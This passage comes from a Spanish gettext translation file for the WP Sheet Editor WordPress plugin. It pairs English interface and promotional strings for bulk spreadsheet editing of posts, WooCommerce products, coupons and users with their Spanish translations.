                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Editar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, " "estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de " "cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Aplicar cambios masivamente" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Función de cambios masivos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "La función \"Editor Masivo\" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Reemplazar palabras o frases en los títulos, contenido u otros campos de tus " "posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Aumentar o disminuir los precios de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Aumentar o disminuir el inventario de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Mover todos tus borradores a posts publicados o a cualquier otro estado" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Configurar cientos de productos a la vez como sin existencias o en " "existencias" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Añadir una llamada a la acción o cualquier texto al principio o al final de " "tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Reemplazar los shortcodes viejos por shortcodes nuevos en todos tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Ponerle la misma imagen destacada a todos los posts de una categoría" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Mover cientos de entradas a la papelera" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Etc." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Imagina poder hacer todos esos cambios a cientos o miles de entradas a la " "vez en sólo unos minutos. La función de fórmulas está disponible como " "extensión premium." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "¡Compra la extensión ahora!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Tenemos una extensión para mostrar esta hoja de cálculo en el frontend. " "Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de " "hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, " "importación, exportación, etc.). Por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Permite a tus clientes editar productos WooCommerce usando la hoja de " "cálculo sin tener que usar el escritorio de wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Permite que tus lectores entreguen entradas del blog usando la hoja de " "cálculo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Permite a tus visitantes publicar eventos" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Permite a los empleados de tu tienda gestionar el inventario y los precios" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Permite a los vendedores de tu mercado importar productos en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Permite a los vendedores de tu mercado editar los productos masivamente" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Permite a los compradores de tu tienda descargar el catálogo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Permite a los clientes de tu tienda realizar búsquedas avanzadas en el " "catálogo " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Y más." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Video de demostración" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Todas las funciones disponibles en la hoja de cálculo del backend pueden " "utilizarse en el frontend." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "Editar %s de WordPress" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" "El editor de hojas de cálculo puede ser usado para editar tus %s de " "WordPress." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Puedes editar tu información multimedia como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Leyenda" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Texto alternativo" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Subido por este usuario" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Habilitar comentarios" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Y ver vistas previas durante la edición" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Puedes editar la información de tus productos WooCommerce como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Fechas del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Imagen destacada" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:655 msgid "Gallery" msgstr "Galería" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Es descargable" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Es Virtual" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Con nuestro editor podrás editar toda la información de
                  tus %s, " "ahorrándote mucho tiempo." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Esta función está disponible como una extensión premium." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, " "hacer búsquedas avanzadas, ver toda la información en una página, y más." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "Editar en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a " "la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de " "Trabajo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "Ver Extensiones" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Usuarios" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una " "tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez " "sin colapsar tu servidor, ver toda la información de envío/facturación/" "buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho " "más. Descargar el Plugin " #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:410 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Versión Lite. Mostrando todos los productos y todos los campos como " "columnas, 15 columnas son editables y el resto son sólo de lectura. " "
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, " "editar todos los campos en miles de productos a la vez." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:423 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de " "productos en una hoja de cálculo, realizar búsquedas avanzadas, editar " "cientos de variaciones a la vez, copiar variaciones a varios productos, etc. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:521 msgid "Regular Price" msgstr "Precio normal" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:535 msgid "Sale Price" msgstr "Precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:701 msgid "Sales price date from" msgstr "Fecha inicial del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:713 msgid "Sales price date to" msgstr "Fecha final del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:740 msgid "is featured?" msgstr "Es destacado?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:756 msgid "Allow backorders" msgstr "Permitir reservas" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:931 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Nota: Separa los valores con este carácter: %s.
                  El producto debe ser " "variable y tener variaciones existentes para que esto funcione. De lo " "contrario los atributos por defecto no serán guardados." #: wp-sheet-editor/dev/views/editor-page.php:79 msgid "Full screen mode is active" msgstr "El modo de pantalla completa está activado" #: wp-sheet-editor/dev/views/editor-page.php:80 msgid "Exit" msgstr "Salir" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Activate full screen" msgstr "Activar el modo de pantalla completa" #: wp-sheet-editor/dev/views/editor-page.php:145 msgid "Current spreadsheet" msgstr "Hoja de cálculo actual" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Rows" msgstr "Filas" #: wp-sheet-editor/dev/views/editor-page.php:182 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Recomendamos que incrementes la memoria del servidor al menos hasta 256mb " "para prevenir errores del servidor. Tutorial" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid "Active filters:" msgstr "Filtros activos:" #: wp-sheet-editor/dev/views/editor-page.php:199 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "Bienvenido a WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa " "la herramienta \"Buscar\" en la barra superior)." #: wp-sheet-editor/dev/views/editor-page.php:202 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Necesitas cargar las filas manualmente porque desactivaste la carga " "automática de filas. Cambiar los ajustes" #: wp-sheet-editor/dev/views/editor-page.php:229 msgid "Go to page" msgstr "Ir a la página" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "Use an infinite list instead of pagination" msgstr "Usar una lista infinita en lugar de la paginación" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Activa esta opción para eliminar los botones de paginación y cargar las " "filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas " "al mismo tiempo, puedes cargar miles de filas sin problemas." #: wp-sheet-editor/dev/views/editor-page.php:234 msgid "Load More Rows" msgstr "Cargar más filas" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Go to the top" msgstr "Ir arriba" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "Enable pagination" msgstr "Habilitar la paginación" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y deshabilitar la lista infinita." #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Increase rows per page" msgstr "Aumentar filas por página" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que " "te desplazas hacia abajo). Puedes aumentar el número para cargar más filas " "cada vez que te desplazas hacia abajo." #: wp-sheet-editor/dev/views/editor-page.php:259 msgid "Delete rows" msgstr "Borrar filas" #: wp-sheet-editor/dev/views/editor-page.php:260 msgid "You selected 0 rows to be deleted completely." msgstr "Seleccionaste 0 filas para borrarlas completamente." #: wp-sheet-editor/dev/views/editor-page.php:261 msgid "" "This will delete the rows from your database completely and the only way to " "undo this change is to restore a backup. Please make a backup in case you " "might need to undo this later." msgstr "" "Esto borrará las filas de tu base de datos completamente y la única manera " "de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz " "una copia de seguridad en caso de que puedas necesitar deshacer esto después." #: wp-sheet-editor/dev/views/editor-page.php:262 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" "Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:" #: wp-sheet-editor/dev/views/editor-page.php:275 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:287 #: wp-sheet-editor/dev/views/editor-page.php:314 msgid "Save changes and edit the previous row" msgstr "Guardar los cambios y editar el post anterior" #: wp-sheet-editor/dev/views/editor-page.php:290 #: wp-sheet-editor/dev/views/editor-page.php:318 msgid "Save changes and edit the next row" msgstr "Guardar los cambios y editar el siguiente post" #: wp-sheet-editor/dev/views/editor-page.php:305 msgid "Editing:" msgstr "Editando:" #: wp-sheet-editor/dev/views/editor-page.php:310 msgid "You can resize the editor" msgstr "Puedes cambiar el tamaño del editor" #: wp-sheet-editor/dev/views/editor-page.php:315 msgid "Just save changes" msgstr "Sólo guarda los cambios" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "Cancel the changes and close popup" msgstr "Cancelar los cambios y cerrar la ventana emergente" #: wp-sheet-editor/dev/views/editor-page.php:336 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Los cambios que estás a punto de realizar son irreversibles. Debes hacer una " "copia de seguridad de tu base de datos antes de proceder." #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "The changes about to be made are not reversible" msgstr "Los cambios que estás a punto de realizar no son reversibles" #: wp-sheet-editor/dev/views/editor-page.php:340 msgid "I understand, continue" msgstr "Entiendo, continuar" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Estamos guardando ahora. No cierres esta ventana hasta que el proceso haya " "terminado." #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes " "errores al guardar? Guardar menos filas por lote" #: wp-sheet-editor/dev/views/editor-page.php:374 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el " "proceso haya terminado.
                  2. Puedes " #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "Ampliar la hoja de cálculo" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "¿Qué componente necesitas?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Promoción. Ahorra %d%% solo hoy. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Obtén las siguientes %d extensiones por sólo $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Usar el cupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Otras extensiones" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Hoja de cálculo para %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Extensiones gratuitas

                  " #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "Hojas de cálculo disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "Guardar y continuar" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "Componentes disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "El editor de hojas de cálculo es muy potente y tiene muchas características. " "En este paso puedes habilitar las funciones que necesites." #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "Continuar" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "La Hoja de cálculo está lista." #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "Editar " #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Consejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén " "ayuda instantánea en el chat en vivo en horas de oficina." #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "Ajustes Avanzados" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "Restablecer los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "Exportar e importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Mostraremos todas las columnas que fueron borradas o deshabilitadas, las " "columnas renombradas mostrarán los títulos originales, volveremos a escanear " "la base de datos para encontrar las columnas de nuevo, y los ajustes " "avanzados y de velocidad se restablecerá a los valores predeterminados. Esto " "sólo afecta a la configuración de nuestro plugin y no afecta a los datos " "editados con la hoja de cálculo." #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "Estas opciones serán incluidas en la exportación e importación:" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "Tamaños de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "Títulos de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "Configuraciones definidas en el gestor de columnas" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "Columnas creadas manualmente" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "Exportaciones guardadas" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "Búsquedas guardadas" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "Listado de columnas eliminadas" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "Campos de búsqueda marcados como favoritos" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "Grupos de columnas" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "Tipos de posts creados con WP Sheet Editor" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "Haz clic aquí para exportar los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "Importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "Pega los ajustes aquí (el contenido del archivo exportado). Notas:" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "La importación sobrescribirá los ajustes existentes." #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" "Por favor, haz una copia de seguridad de tu base de datos antes de importar " "para estar más seguro." #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "" "Some columns depend on other plugins. So the source site and this site must " "use the same plugins to have the same columns" msgstr "" "Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de " "destino deben usar los mismos plugins para que tengas las mismas columnas" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "Activo." #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "Gracias por usar nuestro editor de hojas de cálculo" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "Estadísticas de uso" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "Filas modificadas" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "Tiempo ahorrado
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "Clics ahorrados
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Editar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre " "filas,
                  Editar post types personalizados y campos personalizados, Editar " "Perfiles de Usuario, y Más" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "Ver extensiones" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "Abrir el Editor de Hojas de Cálculo" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "Novedades en WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "Gracias por actualizar a la nueva versión del plugin." #: wp-sheet-editor/dev/wp-sheet-editor.php:185 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Editar perfiles de usuario en una hoja de cálculo - Básico" #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo " "perfiles básicos y realizar búsquedas básicas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:196 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Editar Perfiles de Usuario en la Hoja de Cálculo - COMPLETO" #: wp-sheet-editor/dev/wp-sheet-editor.php:199 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de " "usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas " "a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de " "membresía, directorios de eventos, directorios de negocios, directorios de " "usuarios.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:206 msgid "WooCommerce Customers Spreadsheet" msgstr "Hoja de Cálculo de Clientes de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:209 msgid "" "

                  View all your Customers in a Spreadsheet. View full profile, Edit " "Profiles Quickly, View Billing and Shipping information, Make advanced " "customer searches, Export Customers to Excel or Google Sheets, Import " "Customers from External Applications

                  " msgstr "" "

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja " "de cálculo. Editar perfiles rápidamente. Ver y editar la información de " "facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. " "Exportar clientes a Excel o Google Sheets. Importar clientes desde " "aplicaciones externas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:216 msgid "Media Library Spreadsheet" msgstr "Hoja de Cálculo de la Biblioteca de Medios de WordPress" #: wp-sheet-editor/dev/wp-sheet-editor.php:219 msgid "" "

                  View the image, videos, and all the files from the WP Media library in a " "spreadsheet. Edit all the file fields, including alt text, image captions, " "file descriptions, Advanced Search by any field , Auto generate alt text, " "captions, etc. using the parent post title or categorías, Update thousands " "of files at once, and more.

                  " msgstr "" "

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca " "de medios de WordPress en una hoja de cálculo. Editar todos los campos de " "los archivos, incluyendo el texto alternativo, la leyenda, las descripciones " "de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de " "manera automática los textos alternativos, las leyendas, etc. usando el " "título o las categorías de las entradas principales. Actualizar miles de " "archivos a la vez. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:221 #: wp-sheet-editor/dev/wp-sheet-editor.php:235 #: wp-sheet-editor/dev/wp-sheet-editor.php:267 #: wp-sheet-editor/dev/wp-sheet-editor.php:281 #: wp-sheet-editor/dev/wp-sheet-editor.php:295 #: wp-sheet-editor/dev/wp-sheet-editor.php:309 #: wp-sheet-editor/dev/wp-sheet-editor.php:324 #: wp-sheet-editor/dev/wp-sheet-editor.php:338 #: wp-sheet-editor/dev/wp-sheet-editor.php:352 #: wp-sheet-editor/dev/wp-sheet-editor.php:366 msgid "Buy" msgstr "Comprar" #: wp-sheet-editor/dev/wp-sheet-editor.php:230 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "Editar categorías, etiquetas y atributos en una hoja de cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:233 msgid "" "

                  One spreadsheet for categories, tags, product attributes, event " "categories, portfolio categories, real state tags, etc. View and edit all " "the items in one place, copy paste, upload category images quickly, add " "descriptions, edit SEO, etc.

                  " msgstr "" "

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, " "categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, " "etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir " "imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:262 msgid "WooCommerce Coupons Spreadsheet" msgstr "Hoja de Cálculo de Cupones de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los " "campos de cupones. Búsqueda avanzada por cualquier campo. Generar " "automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. " "Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:276 msgid "WooCommerce Orders Spreadsheet" msgstr "Hoja de Cálculo de Pedidos de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:279 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

